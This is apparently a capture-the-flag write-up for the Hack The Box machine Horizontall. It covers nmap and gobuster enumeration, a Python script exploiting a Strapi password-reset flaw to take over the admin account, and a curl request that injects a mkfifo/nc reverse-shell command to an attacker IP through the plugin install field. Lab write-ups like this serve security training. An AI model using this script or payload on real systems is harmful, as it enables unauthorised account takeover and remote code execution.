![](https://i.imgur.com/div8uEd.webp)
Summary
Horizontall a easy linux box on Hackthebox created by author wail99, was all about finding CVEs and exploiting it.
Initial Enumeration
nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| sudo nmap -sC -sV -oN nmap/horizontall horizontall.htb [sudo] password for f3v3r: Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-29 10:34 IST Nmap scan report for 10.129.165.167 Host is up (0.54s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA) | 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA) |_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Did not follow redirect to http://horizontall.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.35 seconds
|
web
![](https://i.imgur.com/gd09b9P.webp)
I started manual enumeration along with running two gobuster one for directory other for vhost
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://horizontall.htb -o horizontall.gobuster =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://horizontall.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/08/29 10:41:37 Starting gobuster in directory enumeration mode =============================================================== /js (Status: 301) [Size: 194] [--> http://horizontall.htb/js/] /css (Status: 301) [Size: 194] [--> http://horizontall.htb/css/] /img (Status: 301) [Size: 194] [--> http://horizontall.htb/img/] /. (Status: 301) [Size: 194] [--> http://horizontall.htb/./] Progress: 5805 / 56294 (10.31%) ^C [!] Keyboard interrupt detected, terminating.
=============================================================== 2021/08/29 10:44:18 Finished ===============================================================
|
Directory gobuster didn’t found anything. Similarly didn’t found any input parameter on the page manually.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| gobuster vhost -u horizontall.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://horizontall.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/08/29 10:48:53 Starting gobuster in VHOST enumeration mode =============================================================== Found: api-prod.horizontall.htb (Status: 200) [Size: 413]
|
with vhost enumeration i found another subdomain as api-prod.horizontall.htb
in which when we run gobuster again for dir we find some directories.
![](https://i.imgur.com/v838GDt.webp)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://api-prod.horizontall.htb -o api-horizontall.gobuster =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://api-prod.horizontall.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/08/29 10:52:07 Starting gobuster in directory enumeration mode =============================================================== /admin (Status: 200) [Size: 854] /users (Status: 403) [Size: 60] /reviews (Status: 200) [Size: 507] /. (Status: 200) [Size: 413]
|
Opening /admin route show an login page
![](https://i.imgur.com/83N9pIt.webp)
Checking the password reset page show us
![](https://i.imgur.com/ZI5bAIR.webp)
a way to find some user.
with that we find admin@horizontall.htb
to be valid user
Also enumerating we find strapi version to be 3.0.0-beta.17.4
![](https://i.imgur.com/TZYArqL.webp)
with some google-fu I found [https://bittherapy.net/post/strapi-framework-remote-code-execution/] but for that we need valid creds and with some more google-fu we find security issue with reset password.
an write up on this exploit
using the code we can reset admin password
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import requests import sys import json args=sys.argv if len(args) < 4: print("Usage: {} <admin_email> <url> <new_password>".format(args[0])) exit(-1) email = args[1] url = args[2] new_password = args[3] s = requests.Session() version = json.loads(s.get("{}/admin/strapiVersion".format(url)).text) print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]))
print("[*] Sending password reset request...") reset_request={"email":email, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(url)} s.post("{}/".format(url), json=reset_request)
print("[*] Setting new password...") exploit={"code":{}, "password":new_password, "passwordConfirmation":new_password} r=s.post("{}/admin/auth/reset-password".format(url), json=exploit) print("[*] Response:") print(str(r.content))
|
So the issu is in the reset-password where if we pass code as {}
it will pass the check. and reset the password
![](https://i.imgur.com/Orm1om4.webp)
1
| curl -i -s -k -X POST -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjE1Njg3LCJleHAiOjE2MzI4MDc2ODd9.yp4hXfpp5hajTLzWbCOR6_FtYSg_iMGGfntjiN1zIzU' -H 'Content-Type: application/json' --data '{"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.52 4444 >/tmp/f)","port":"1337"}' http://api-prod.horizontall.htb/admin/plugins/install
|
Give us shell as strapi
Shell
![](https://i.imgur.com/F0YkNEb.webp)
with this we can read users flag.
Lateral Movement
Eumerating the box we see 8000
to be open internly
![](https://i.imgur.com/OMLYTok.webp)
Checking 8000
we see it to be
![](https://i.imgur.com/rAns7UC.webp)
![](https://i.imgur.com/ovUqT9R.webp)
a Laravel v8 (PHP v7.4.18)
site with some google-fu we find github
Modifying the script to set bash to have suid bit we can get root shell
![](https://i.imgur.com/v8PcgEU.webp)